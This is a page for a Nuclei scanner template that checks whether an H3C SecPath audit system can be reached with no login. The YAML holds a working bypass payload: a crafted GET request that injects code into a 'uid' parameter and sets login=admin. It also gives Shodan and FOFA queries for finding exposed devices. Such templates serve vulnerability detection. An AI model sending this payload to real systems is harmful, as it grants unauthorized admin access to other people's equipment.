H3C Server - Unauthenticated Access

ID: unauthorized-h3csecparh-login

Severity: high

Author: ritikchaddha

Tags: h3c,default-login,unauth,misconfig

Description

H3C server was able to be accessed with no authentication requirements in place.

YAML Source

id: unauthorized-h3csecparh-login

info:
  name: H3C Server - Unauthenticated Access
  author: ritikchaddha
  severity: high
  description: H3C server was able to be accessed with no authentication requirements in place.
  classification:
    cpe: cpe:2.3:h:h3c:secpath_f5060:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: h3c
    product: secpath_f5060
    shodan-query: http.html:"H3C-SecPath-运维审计系统"
    fofa-query: app="H3C-SecPath-运维审计系统" && body="2018"
  tags: h3c,default-login,unauth,misconfig

http:
  - method: GET
    path:
      - "{{BaseURL}}/audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=admin"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "admin"
          - "审计管理员"
          - "错误的id"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f7f2c6d88985af634a7ccf86d80a3f84de1bd28b4a45ee1b25973424922b132d022100f57f53b97ed3b106ce9a68b08e2a89dfc2bcfa69de6ae016a702cc82867900ec:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/misconfiguration/unauthorized-h3csecparh-login.yaml"

View on Github